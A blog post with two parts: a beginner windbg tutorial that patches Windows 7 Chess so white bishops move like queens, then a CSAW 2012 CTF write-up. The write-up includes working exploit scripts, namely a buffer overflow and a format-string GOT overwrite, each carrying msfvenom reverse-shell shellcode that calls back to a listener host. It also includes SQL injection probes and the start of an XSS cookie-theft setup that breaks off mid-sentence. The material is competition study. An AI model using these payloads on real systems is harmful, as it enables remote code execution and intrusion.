Using windbg to beat my dad at chess

My dad is awesome. He always beats me at chess. With a huge nod to this uninformed post – introduction to reverse engineering win32 applications where they debug minesweeper, I decided to dive into the windows 7 chess game and see if I could give myself a bit of an advantage. I wasn’t sure exactly what I wanted to do other than that. I’ll be using Windows 7 32 bit, and the file is at C:\Program Files\Microsoft Games\Chess\. This tutorial will probably not work with anything but Windows 32 bit. This is a beginner tutorial.

Recon and Defining what we want to do

Following the uninformed post, I wondered if chess might contain symbols also, as this would make my life easier. I have this set in my config, but if you don’t then you will want to set your symbol path.

0:000> .sympath srv*c:\debug*http://msdl.microsoft.com/download/symbols
Symbol search path is: srv*c:\debug*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is: srv*c:\debug*http://msdl.microsoft.com/download/symbols
0:000> .reload /f *
0:000> lm
start    end        module name
001b0000 00474000   Chess      (pdb symbols)          c:\debug\Chess.pdb\1467728C9EEA429C9FA465213785E17C1\Chess.pdb
6e030000 6e06c000   OLEACC     (pdb symbols)          c:\debug\oleacc.pdb\DC8A57A3E8C648228F2C3650F2BE1D672\oleacc.pdb
6f900000 6f972000   DSOUND     (pdb symbols)          c:\debug\dsound.pdb\F38F478065E247C68EDA699606F56EED2\dsound.pdb

Awesome, we have a chess.pdb. In the uninformed post they use windbg to look at functions, but I find IDA Pro easier to read. Loading chess.exe into IDA we see quite a few functions right off the bat that look interesting. It looks like there’s a Pawn class, a knight class, a bishop class, etc

Pawn::GetCaptureMoves(int const * *)   .text 0102D605 00000017 R . . . B . .
Pawn::GetShadowRadius(void)            .text 0102D621 00000007 R . . . . . .
Knight::Knight(ESide)                  .text 0102D62D 0000001D R . . . B . .
Knight::Clone(void)                    .text 0102D64F 0000002B R . . . . . .
Knight::GetPassiveMoves(int const * *) .text 0102D67F 00000017 R . . . B . .
Knight::CanJump(void)                  .text 0102D69B 00000003 R . . . . . .
Knight::GetPieceType(void)             .text 0102D6A3 00000004 R . . . . . .
Knight::GetShadowRadius(void)          .text 0102D6AC 00000007 R . . . . . .
Bishop::Bishop(ESide)                  .text 0102D6B8 0000001D R . . . B . .
Bishop::Clone(void)                    .text 0102D6DA 0000002B R . . . . . .
Bishop::GetPassiveMoves(int const * *) .text 0102D70A 00000017 R . . . B . .
Bishop::GetPieceType(void)             .text 0102D726 00000004 R . . . . . .
Rook::Rook(ESide)                      .text 0102D72F 0000001D R . . . B . .
Rook::Clone(void)                      .text 0102D751 0000002B R . . . . . .

So there seem to be two outliers, knights and pawns. Knights have extra moves like canjump, and pawns can move certain places depending on other pieces, so this makes sense. Also, this gives us a big clue that these classes contain some of the logic we can use to determine which piece can move where.

So how should I beat my dad? He’s not a grandmaster, so maybe if I made bishops move like queens for me that would do the trick. There is also a board class, so another idea I had was to replace the bishops with queens when the board was setup, but that’s not the route I went.

There’s this function getpassivemove common to all the classes

0:010> x chess!*getpassivemove*
009bd781 Chess!Rook::GetPassiveMoves = <no type information>
009bd7f8 Chess!Queen::GetPassiveMoves = <no type information>
009bd67f Chess!Knight::GetPassiveMoves = <no type information>
009bd5d6 Chess!Pawn::GetPassiveMoves = <no type information>
009bd87b Chess!King::GetPassiveMoves = <no type information>
009bd70a Chess!Bishop::GetPassiveMoves = <no type information>

Setting a bp here it’s tough to tell what’s going on because it’s hit so frequently, but the functions are really simple, and for the most part they look VERY similar between pawn/rook/knight/king/etc classes

So let’s just replace the first instruction to jump to the other function. I had mona loaded into windbg here, but you can also do this with the metasploit asm shell or nasm.

What this does is modify the Chess!Bishop::GetPassiveMoves function and has it immediately jump to Chess!Queen::GetPassiveMoves. (The addresses on your box will certainly be different)

0:010> !py mona asm -s "mov eax, 0x0076d7f8#jmp eax"
Hold on...
Opcode results : 
---------------- 
 mov eax, 0x0076d7f8 = \xb8\xf8\xd7\x76\x00
 jmp eax = \xff\xe0
 Full opcode : \xb8\xf8\xd7\x76\x00\xff\xe0 

[+] This mona.py action took 0:00:02.172000

0:010> eb 0076d5d6 b8 f8 d7 76 00 ff e0
0:010> uf Chess!bishop::GetPassiveMoves
Flow analysis was incomplete, some code may be missing
Chess!bishop::GetPassiveMoves:
0076d5d6 b8f8d77600      mov     eax,offset Chess!Queen::GetCaptureMoves (0076d7f8)
0076d5db ffe0            jmp     eax
0:010> g

Sure enough, this works. When we run we can move anywhere with our bishops

powerful_bishop

Problems

At this point, even though we can move anywhere, we still have two problems we need to solve. 1) both black and white can move anywhere, so this doesn’t give me an advantage. What I really want is just white to be able to move anywhere 2) We can’t just write to this address because of ASLR and also because it’s a read only section of memory.

What does it mean for us that ASLR is enabled? Any static addresses will likely change from run to run of the chess game. Looking for non-aslred modules, there are none. By the way, I’m using mona here.

0:000> !py mona noaslr
Hold on...
No aslr & no rebase modules :
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------

So for us, we can’t really rely on any hard coded addresses.

Additionally, even if we solved ASLR, our hard jump strategy will also fail because both white and black call the GetPassiveMoves function. We need a way to only modify that function for white.

Figuring out Whose Turn it is

Getting turn info took a bit of shooting in the dark also, but because of symbols it was relatively easy to track down.

First I put a breakpoint here:

bp Chess!GameState::GetTurn +3 "r eax; g"

This is called a lot, and it seems to return 2 or 0 for white, and 0, 1, or 2 for black. This function will probably work, but there’s another turn function too named toggleturn, so lets try that. This function seems perfect – it’s called once after every move. We can see it’s testing the value in [ecx+4] so we inspect that, and sure enough it’s 1 before a white move and 0 before a black move

bp Chess!GameState::toggleturn
dd ecx + 4

Programatically Changing the Game

I’m going to programattically debug the process. The way the uninformed post did things was cool, but it’s (more) difficult to go route way because we’re not messing with data, we’re messing with the program which is non writable. So how do we programatically debug?

There are a ton of ways. Mona uses this and it looks awesome: http://pykd.codeplex.com/. I’m a python guy, so usually I’d go that route, but I’m trying to learn powershell so I decided to try going that route and use this http://powerdbg.codeplex.com/. For the powershell to work you need to install this module.

The first thing I want to do is change the hard coded value to something I can switch back and forth. So I tried setting a breakpoint that I could disable per turn

bp Chess!Bishop::GetPassiveMoves "r eip=Chess!Queen::GetPassiveMoves;g"

This was waaaay too slow for the game to be playable. I had to figure out something else. This is when I noticed just how similar the getpassivemoves functions are

0:012> uf Chess!Bishop::GetPassiveMoves
Chess!Bishop::GetPassiveMoves:
00c5d70a 8bff            mov     edi,edi
00c5d70c 55              push    ebp
00c5d70d 8bec            mov     ebp,esp
00c5d70f 8b4508          mov     eax,dword ptr [ebp+8]
00c5d712 c700f07ec300    mov     dword ptr [eax],offset Chess!Bishop::sPassiveMoves (00c37ef0)
00c5d718 a1e87ec300      mov     eax,dword ptr [Chess!Bishop::sPassiveMovesCount (00c37ee8)]
00c5d71d 5d              pop     ebp
00c5d71e c20400          ret     4
0:012> uf Chess!queen::GetPassiveMoves
Chess!Queen::GetCaptureMoves:
00c5d7f8 8bff            mov     edi,edi
00c5d7fa 55              push    ebp
00c5d7fb 8bec            mov     ebp,esp
00c5d7fd 8b4508          mov     eax,dword ptr [ebp+8]
00c5d800 c700b880c300    mov     dword ptr [eax],offset Chess!Queen::sPassiveMoves (00c380b8)
00c5d806 a1b080c300      mov     eax,dword ptr [Chess!Queen::sPassiveMovesCount (00c380b0)]
00c5d80b 5d              pop     ebp
00c5d80c c20400          ret     4

They’re very close, and they’re the exact same number of bytes. We can just edit things on the fly, replacing the queen’s code with the bishop’s code and back again.

Import-Module PowerDbg

#global vars, populated later
$bishop_code = ""
$queen_code = ""


function bishop_to_queen
{
    $command =  "eb Chess!Bishop::GetPassiveMoves+a " + $queen_code
    Invoke-DbgCommand $command
}

function bishop_restore
{
    $command = "eb Chess!Bishop::GetPassiveMoves+a " + $bishop_code
    Invoke-DbgCommand $command
}


New-DbgSession -command 'C:\Program Files\Microsoft Games\Chess\Chess.exe'
Load-PowerDbgSymbols "srv*c:\debug*http://msdl.microsoft.com/download/symbols"


#get the bytes for the different bishop and queen functions
$bishop_array = (Invoke-DbgCommand "db Chess!Bishop::GetPassiveMoves+a L7").Split(" ")[2..8]
$bishop_code = [string]::join(" ", $bishop_array)

$queen_array = (Invoke-DbgCommand "db Chess!queen::GetPassiveMoves+a L7").Split(" ")[2..8]
$queen_code = [string]::join(" ", $queen_array)


bishop_to_queen


$white_turn = $true
Invoke-DbgCommand "bp Chess!GameState::ToggleTurn"


#this loops once per turn
while($true)
{
    if ($white_turn -eq $true)
    {
        $white_turn = $false
        bishop_to_queen
    }
    else
    {
        $white_turn = $true
        bishop_restore
    }

    $ret_error = Invoke-DbgCommand "g"

    if ($ret_error.Contains("No runnable debugees"))
    {
        break;
    }

}

And there we go, a runnable chess game where white bishops are super powerful. There are a few quirks, like if a bishop gets a king into checkmate with a queen move it doesn’t seem to register and you can kill the king and keep playing, but overall pretty good :)

king_killed

I am still a noob at reversing, but this was still a fun afternoon :)

CSAW 2012 Quals Tutorial/Writeup

Better late than never! There are already tons of excellent writeups online (many more complete in terms of problems) but this is yet another one. If you’re new here, one thing I try to do is include all the files you need to follow along. So if you didn’t actually play in csaw, this is where my writeup might be worthwhile. These are the odd math problems with answers in the back of the text box :)

I played on ACME Pharm. We managed to solve all the challenges except network 400. We sort of gave up on it and quite a few teams passed us. After the CTF finished, I went back and solved several that looked interesting and other people on the team solved during the CTF. Point being, if I mess something up in this write-up it shouldn’t reflect poorly on the rest of the team :P

Exploits 200

Problem: exploit200

Cracking the binary open in IDA, we see this pretty early.

.text:08048D4B loc_8048D4B:                            ; CODE XREF: main+2DBj
.text:08048D4B                 mov     dword ptr [esp], 0 ; uid
.text:08048D52                 call    _setuid
.text:08048D57                 cmp     eax, 0FFFFFFFFh
.text:08048D5A                 jz      short loc_8048D74
.text:08048D5C                 mov     dword ptr [esp], offset aGotroot ; "gotroot"
.text:08048D63                 call    _perror
.text:08048D68                 mov     dword ptr [esp], 1 ; status
.text:08048D6F                 call    _exit
.text:08048D74 ; ---------------------------------------------------------------------------
.text:08048D74
.text:08048D74 loc_8048D74:                            ; CODE XREF: main+304j
.text:08048D74                 mov     eax, [esp+0F8h]
.text:08048D7B                 mov     [esp], eax      ; fd
.text:08048D7E                 call    handle
.text:08048D83                 mov     eax, 0
.text:08048D88                 jmp     short loc_8048DBB

The key is grabbed in the “handle” function, where the interesting stuff is. So the point of this snippet, we can’t run as root. Gettingg into the handle function, it compares to this:

.text:08048980 mov     [esp+4], eax    ; buf
.text:08048984 mov     eax, [ebp+fd]
.text:08048987 mov     [esp], eax      ; fd
.text:0804898A call    _recv
.text:0804898F mov     [ebp+var_D], 0
.text:08048993 mov     dword ptr [esp+4], offset secret ; "AAAAAAAAAAAAAAAAAAAAAAAAAA\n"
.text:0804899B lea     eax, [ebp+buf]
.text:080489A1 mov     [esp], eax      ; s1
.text:080489A4 call    _

Then it reads from a file called “./key” and sends the contents (at least the first word) back. I just sent the As and it sent me back the key from the file.

echo "AAAAAAAAAAAAAAAAAAAAAAAAAA" | ncat 192.168.138.129  54321
Wecome to my first CS project.
Please type your name:  thisismysecretkeyAAAAAAAA

Exploits 300

Problem: exploit300

There is a bunch of signal stuff that breaks up the execution flow. To debug, I made sure to modify how gdb handled signals being thrown at it, using the “signal” command. Also, how I debug remote processes is I set follow-fork-mode child. That way I can see where it’s crashing. Other people sometimes do this by patching the fork with nops, which is also an option.

Right off, the program exits if there isn’t a user named “liotian”, so if running locally this user needs to be added. But after you have the user and if you’re ignoring signals, it’s a straightforward buffer overflow. I just sent metasploit’s ./pattern_create.rb at it and found the offset it crashed at using pattern_offset. Also, I had to subtract a bit off of esp in my shellcode since metasploit’s encoding needs the stack, and in this case the stack was corrupted by being too close to eip. To adjust the stack I add “\x81\xC4\x3E\xFE\xFF\xFF” to the top which is opcodes for “add esp, -450″. (by the way, another handy tool is metasploit’s ./nasm_shell, which I use quite a bit to turn assembly to opcodes)

#!/usr/bin/python

import socket
import argparse
import struct


# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.138.129 -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\x81\xC4\x3E\xFE\xFF\xFF" + #adjust esp
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +
"\xe6\xe3\x7a\x79\x03\x39\xfc"

)

print len(shellcode)

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="128.238.66.218")
parser.add_argument("--port", default=4842 )
args = parser.parse_args()

jmpesp = struct.pack("<I", 0x08048fbb)

payload = "A" * 326 + jmpesp + shellcode


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.host, args.port))
data = s.sendall(payload)

Exploit 400

Problem: Exploit400

This is a clear format string vulnerability. In gdb just set follow-fork-mode child and see the process crash with %n. This happens at:

08048BFE call    _snprintf

We can get an arbitrary overwrite at the close got address that’s called pretty soon after

.got.plt:0804B064 off_804B064     dd offset close    

so the location where we want to overwrite to control eip is 0804B064

let’s see where our format is coming from:

.text:08048BE9 mov     [esp+8], eax    ; format
.text:08048BED mov     dword ptr [esp+4], 3FFh ; maxlen
.text:08048BF5 lea     eax, [ebp+s]
.text:08048BFB mov     [esp], eax      ; s
.text:08048BFE call    _snprintf

setting a breakpoint, this is 0x804b120, which is

(gdb) maintenance info sections 
Exec file:
    `/home/mopey/exploit400', file type elf32-i386.
    0x8048154->0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048168->0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
...
    0x804b080->0x804b0e8 at 0x00002080: .data ALLOC LOAD DATA HAS_CONTENTS
    0x804b100->0x804b320 at 0x000020e8: .bss ALLOC
    0x0000->0x002a at 0x000020e8: .comment READONLY HAS_CONTENTS

so oour format string is in .bss, which is also marked as executable and won’t vary like the stack would. Here’s the final exploit

#!/usr/bin/python

import socket
import argparse
import struct


# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.138.129 -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +
"\xe6\xe3\x7a\x79\x03\x39\xfc"
)

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="192.168.138.129")
parser.add_argument("--port", default=23456 )
args = parser.parse_args()

#.got send
owLocation = 0x0804B068
owValue = 0x804b145


def createFmt(owValue, owLocation):
	HOB = owValue >> 16
	LOB = owValue & 0xffff
	if HOB < LOB:
		payload = struct.pack("<I", owLocation + 2)
		payload += struct.pack("<I", owLocation)
		payload += "%." + str(HOB -8) + "x"
		payload += "%5$hn"
		payload += "%." + str(LOB-HOB) + "x"
		payload += "%6$hn"
	else:
		payload = struct.pack("<I", owLocation + 2)
		payload += struct.pack("<I", owLocation)
		payload += "%." + str(LOB -8) + "x"
		payload += "%6$hn"
		payload += "%." + str(HOB-LOB) + "x"
		payload += "%5$hn"
	return payload

payload = createFmt(owValue, owLocation)
payload += "\x90" * 30
payload += "\xcc"
payload += shellcode
payload += "\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.host, args.port))
data = s.recv(1024)
print data
s.sendall(payload)
while data != "":
	data = s.recv(1024)
	print data,

There’s also some detection of /bin/sh and stuff, but since my shellcode was generated all of these were hidden automatically for me.

Forensics 100, 200

Files: Forensics100, Forensics200

To solve these, I first used strings to find a bunch of stuff that looked like this.

tEXtcomment
key{rodney danielle}
tEXtcomment
key{matthieu blayne}

I know nothing about PNGs, but searching online for these tEXT sections I stumbled across a tool called pngcheck.

For number 200 I tried

pngcheck -7 version1.png

comment:
    key{nguyen willie}
comment:
    key{takeuchi gregory}
version1.png  CRC error in chunk tEXt (computed 5005ed3c, expected 26594131)

and takeuchi gregory is the only one with a tEXT chunk checksum error, and also the key. In forensics 200, it’s almost the same except for the key is the only tEXT chunk without an error.

pngcheck -7 -f version2.png  |less

...
    key{donnie winston}
version2.png  CRC error in chunk tEXt (computed 1bc013c9, expected c913c01b)
comment:
    key{jeremy socorrito}
version2.png  CRC error in chunk tEXt (computed bcb8529b, expected 9b52b8bc)
comment:
    key{johnnie tigger}
(no error)

Reversing 100

Problem: Rev100

This is a Window’s executable. There’s this main function that prints the encrypted key and ends, and then there’s a decryption function that’s never reached. You can’t see it in graph mode, but in text mode this function is clear.

ext:004010EE                 add     esp, 8
.text:004010F1                 push    0               ; uType
.text:004010F3                 push    offset Caption  ; "Key!"
.text:004010F8                 lea     ecx, [ebp+Text]
.text:004010FB                 push    ecx             ; lpText
.text:004010FC                 push    0               ; hWnd
.text:004010FE                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:00401104                 push    0FFFFFFFFh      ; Code
.text:00401106                 call    ds:__imp__exit
.text:00401106 main            endp
.text:00401106
.text:0040110C ; ---------------------------------------------------------------------------
.text:0040110C                 lea     edx, [ebp-18h]
.text:0040110F                 push    edx
.text:00401110                 call    decrypt
.text:00401115                 add     esp, 4
.text:00401118                 push    offset aDecryptedKey ; "Decrypted Key:  "
.text:0040111D                 lea     eax, [ebp-58h]
.text:00401120                 push    eax
.text:00401121                 call    _strcpy
.text:00401126                 add     esp, 8
.text:00401129                 lea     ecx, [ebp-18h]
.text:0040112C                 push    ecx
.text:0040112D                 lea     edx, [ebp-58h]
.text:00401130                 push    edx
.text:00401131                 call    _strcat
.text:00401136                 add     esp, 8
.text:00401139                 push    0
.text:0040113B                 push    offset aKey     ; "Key!"
.text:00401140                 lea     eax, [ebp-58h]
.text:00401143                 push    eax
.text:00401144                 push    0
.text:00401146                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:0040114C                 push    0
.text:0040114E                 call    ds:__imp__exit

so I want to fill the exit at 00401104 with nops. I do this in windbg with

eb 00401104 90 90 90 90 90 90 90 90

then I run the program, and it prints the key

Reversing 200

Problem: Rev200

This is a managed .NET windows executable. To win, you can just set a breakpoint at the end and read the key. I used windbg with the sos extensions

0:000> .loadby sos clr
0:000> !DumpStackObjects
OS Thread Id: 0xf58 (0)
ESP/REG  Object   Name
0012F244 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F2A4 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F304 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F334 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F358 00b2d4c4 System.IO.__ConsoleStream
0012F37C 00b2d4f4 System.IO.StreamReader
0012F380 00b2d4f4 System.IO.StreamReader
0012F398 00b2d4f4 System.IO.StreamReader
0012F39C 00b2d864 System.IO.TextReader+SyncTextReader
0012F3BC 00b2d864 System.IO.TextReader+SyncTextReader
0012F3E4 00b2d430 System.Char
0012F3E8 00b2d3cc System.String    The key is 9c09f8416a2206221e50b98e346047b
0012F3EC 00b2d44c System.String    The key is 9c09f8416a2206221e50b98e346047b7
0012F3F0 00b2d430 System.Char
0012F3F4 00b2d3cc System.String    The key is 9c09f8416a2206221e50b98e346047b
0012F3F8 00b2b65c System.Byte[]
0012F3FC 00b2d44c System.String    The key is 9c09f8416a2206221e50b98e346047b7
0012F410 00b2b64c System.Object[]    (System.String[])
0012F4C4 00b2b64c System.Object[]    (System.String[])
0012F66C 00b2b64c System.Object[]    (System.String[])
0012F6A0 00b2b64c System.Object[]    (System.String[])
0012F7DC 01b23250 System.Object[]    (System.Object[])
0:000> !DumpObj 00b2d44c 
Name:        System.String
MethodTable: 79b9fb08
EEClass:     798d8bb0
Size:        100(0x64) bytes
File:        C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
String:      The key is 9c09f8416a2206221e50b98e346047b7
Fields:
      MT    Field   Offset                 Type VT     Attr    Value Name
79ba2ad4  4000103        4         System.Int32  1 instance       43 m_stringLength
79ba1f24  4000104        8          System.Char  1 instance       54 m_firstChar
79b9fb08  4000105        8        System.String  0   shared   static Empty
    >> Domain:Value  0015d938:00b21228 <<

Reversing 300

Problem: Rev300

Another managed .NET windows executable.

First, you need to recompile to get out the system exit that happens at the beginning. I used ilspy to disassemble and create a .csproj I could open with visual studio. Then I recompiled to edit this out. Alternatively, you could jump over it in a debugger, but I think recompiling is probably easier.

Second, I need to get out the md5hash it’s getting from program files. We need to create a file there that md5hashes to the same hash it’s comparing.

#!/usr/bin/python

import binascii

array = [
			255,
			151,
			169,
			253,
			237,
			224,
			158,
			175,
			110,
			28,
			142,
			201,
			246,
			166,
			29,
			213
		]

stuff = binascii.hexlify(''.join([chr(i) for i in array]))
print stuff

This generates the md5 hash: ff97a9fdede09eaf6e1c8ec9f6a61dd5, which Googling gives us the string “Intel”. double checking:

$ echo -n "Intel" | md5sum.exe
ff97a9fdede09eaf6e1c8ec9f6a61dd5 *-

Once we have a directory c:\\program files\Intel, the program will print the key: That was pretty easy, wasn’t it? \key{6a6c4d43668404041e67f0a6dc0fe243}

Reversing 400

Problem: rev400

This is almost identical to reversing 100, except it’s a linux elf rather than a Window’s exe. I have the same strategy here. My biggest problem was figuring out how to configure gdb to write into .text sections (you do it with write, and then you have to reload the executable)

(gdb) set {char}0x0000000004006B9 = '\x90'
Cannot access memory at address 0x4006b9
(gdb) show write 
Writing into executable and core files is on.
(gdb) ex
exec-file  explore    
(gdb) exec-file ./csaw2012reversing 
(gdb) set {char}0x0000000004006B9 = '\x90'
(gdb) set {char}0x0000000004006BA = '\x90'
(gdb) set {char}0x0000000004006BB = '\x90'
(gdb) set {char}0x0000000004006BC = '\x90'
(gdb) set {char}0x0000000004006BD = '\x90'
(gdb) set {char}0x0000000004006BE = '\x90'
(gdb) set {char}0x0000000004006BF = '\x90'
(gdb) set {char}0x0000000004006C0 = '\x90'
(gdb) set {char}0x0000000004006C1 = '\x90'
(gdb) set {char}0x0000000004006C2 = '\x90'
(gdb) continue
Encrypted Key:                 
Decrypted Key:  csawissohard__:(
[Inferior 1 (process 39007) exited normally]

Net 100

Problem: net100

This was a pcap. Simply open it in wireshark, right click to follow the stream for the key.

Net 200

Problem: net200

Some dude I know is planning a party at some bar in New York! I really want to go but he’s really strict about who gets let in to the party. I managed to find this packet capture of when the dude registered the party but I don’t know what else to do. Do you think there’s any way you can find out the secret password to get into the party for me? By the way, my favorite hockey player ever is mario lemieux.

Solution:

glancing through this in wireshark it looks like there are POST requests to party requests. Setting this filter:

ip.addr ==  66.96.131.56 and http.request.method == "POST"

looking through these, following the second one gives:

si_contact_CID=1&si_contact_name=Mike+Jones&si_contact_email=mike%40example.com&si_contact_ex_field1=917-459-2485&si_contact_subject=Party+time%21&si_contact_message=Hey%21+I+want+to+plan+a+party+at+your+venue.+I%27m+expecting+a+lot+of+people+though+and+I+don%27t+want+anyone+who+isn%27t+supposed+to+be+there+showing+up+for+the+fun.+If+you+can+do+me+a+favor+and+make+sure+to+ask+for+the+phrase+%22brooklyn+beat+box%22+before+letting+attendees+in%2C+that+would+be+awesome%21&si_code_ctf_4=H2cEwa6GC0WdaT8P&si_contact_captcha_code=B38F&si_contact_action=send&si_contact_form_id=4

so “brooklym beat box”

Net 300

Problem: net300

Opened up the pcap in wireshark and looked at it for a while. One thing I noticed was in frame 67 it says it’s a Teensy Keyboard/Mouse. Googling for teensy keyboard gives us this site, which I thought was useful: http://www.pjrc.com/teensy/usb_keyboard.html. It has a table on the front page which looks promising. Looking at the .h file gives a bunch of codes for the table…

I still wasn’t completely sure how to extract things. Presumably I want to get the keys being pressed.

I decided to try capturing my own keyboard traffic, and ended up here: http://wiki.wireshark.org/CaptureSetup/USB. This also turned out to be useful.

We can attach to the keyboard USB bus simply by observing the interfaces, and which interface gets traffic when we type. Then, attaching to the interface we can see traffic. Four “frames” happen for every key pressed. Inferring from the table given in the teensy link and knowing the key I actually pressed (e.g. “B” is 5), the keycode is clearly in the “Leftover Capture Data” at the end of the first interrupt. For example, this is a “b” being pressed.

I don’t know much about USB still, but all the other packets when I press a key seem to have a 0 at the -6th byte, so we can potentially filter on this. That’s what I did in my first attempt

#!/usr/bin/python
from scapy.all import *

KEY_CODES = {
4:"A",
5:"B",
6:"C",
7:"D",
8:"E",
9:"F",
10:"G",
11:"H",
12:"I",
13:"J",
14:"K",
15:"L",
16:"M",
17:"N",
18:"O",
19:"P",
20:"Q",
21:"R",
22:"S",
23:"T",
24:"U",
25:"V",
26:"W",
27:"X",
28:"Y",
29:"Z",
30:"1",
31:"2",
32:"3",
33:"4",
34:"5",
35:"6",
36:"7",
37:"8",
38:"9",
39:"0",
40:"\n",
44:" ",
45:"-",
46:"=",
47:"{",
48:"}",
}

pkts = rdpcap("net300.pcap")
msg= ""
for packet in pkts:
	global msg
	hid_report = packet.load[-8:]
	key_code = ord(hid_report[2])
	ch = KEY_CODES.get(key_code, False)
	if ch:
		msg += ch

print msg

This prints:

BBBARXTERM -GEOMETRY 12X1=0=0
ECHO K
RXTERM -GEOMETRY 12X1=75=0
ECHO E
RXTERM -GEOMETRY 12X1=150=0
ECHO Y
RXTERM -GEOMETRY 12X1=225=0
ECHO {
RXTERM -GEOMETRY 12X1=300=0
ECHO C
RXTERM -GEOMETRY 12X1=375=0
ECHO 4
RXTERM -GEOMETRY 12X1=450=0
ECHO 8
RXTERM -GEOMETRY 12X1=525=0
ECHO B
RXTERM -GEOMETRY 12X1=600=0
ECHO A
RXTERM -GEOMETRY 12X1=675=0
ECHO 9
RXTERM -GEOMETRY 12X1=0=40
ECHO 9
RXTERM -GEOMETRY 12X1=75=40
ECHO 3
RXTERM -GEOMETRY 12X1=150=40
ECHO D
RXTERM -GEOMETRY 12X1=225=40
ECHO 3
RXTERM -GEOMETRY 12X1=300=40
ECHO 5
RXTERM -GEOMETRY 12X1=450=40
ECHO C
RXTERM -GEOMETRY 12X1=375=40
ECHO 3
RXTERM -GEOMETRY 12X1=525=40
ECHO A
RXTERM -GEOMETRY 12X1=600=40
ECHO }

I was pretty stuck here, since what appears to be the key wasn’t working. But it turns out the geometry was just off. If you sort the geometry on the C and 3 character at the end, you win.

Web 300

Problem: This is a website belonging to a horse-fighting gang. Even with an account, it’s not clear what they’re up to. Your task is to get administrator access and see if you can figure anything out. Your account is csaw_challenger/letmein123.

Solution:

This web app had a SQL injection in /horse.php, but it also had a waf that was blocking UNION and SELECT. In early testing, I did a few queries like these:

#there are four columns
GET /horse.php?id=1+OR+1%3d1+ORDER+BY+5-- HTTP/1.1
#v5
GET /horse.php?id=1-(IF(MID(version(),1,1)+LIKE+5,+BENCHMARK(10000000,SHA1('true')),false)) HTTP/1.1

Someone else on my team solved this before I did, and I got pretty stuck since they said they just used a simple union. I tried various logic flows to get back to that point. I didn’t spend too much time on it though, since we had already solved it and we had unsolved network 400 (I hate you network 400). It turns out the web app was broken at the beginning of csaw (waf wasn’t working) and later they fixed the challenge. The WAF bypass was through parameter polution, and googling the first writeup I see is here: http://isisblogs.poly.edu/2012/09/30/csaw-ctf-horseforce-writeup/.

Web 400

Problem: CryptoMat is a site where you can send encrypted messages to other users. Dog is a user on the site and has the key. Figure out how to get into his account and obtain it.

Solution:

The data is just xored with this array, the key, and the previous block:

xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]

Writing code, this should work with arbitrary keys, which becomes important later on. Here is code to encrypt or decrypt arbitrary data with arbitrary keys:

#!/usr/bin/python
import sys
import urllib

def padArg(argv):
	while len(argv) % 8 != 0:
		argv += "\x00"
	return argv

def padKey(key, dlen):
	padKey = key
	i = 0
	while len(padKey) < dlen:
		padKey += key[i%len(key)]
		i += 1
	return padKey

xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]

padarg = padArg(sys.argv[1])
key = sys.argv[2]
padKey = padKey(key, len(padarg))

print padKey

fstr = ""

for i in range(0, len(padarg)):
	a = ord(padarg[i]) ^ xordata[i%8] ^ ord(padKey[i])
	xordata[i%8] = (ord(padarg[i]))
	fstr += chr(a)

#dummy uriencode, because normal urilib encode seemed to break something
a = [(ord(i)) for i in fstr]
for i in a:
	i = hex(i)
	i = i[2:]
	if len(i) == 1:
		i = "0" + i
	i = "%"+i
	sys.stdout.write(i)
print ""

The goal is to get DoG to execute script, which will be decrypted – so we need to encrypt Javascript that will send us the key. We want something like:

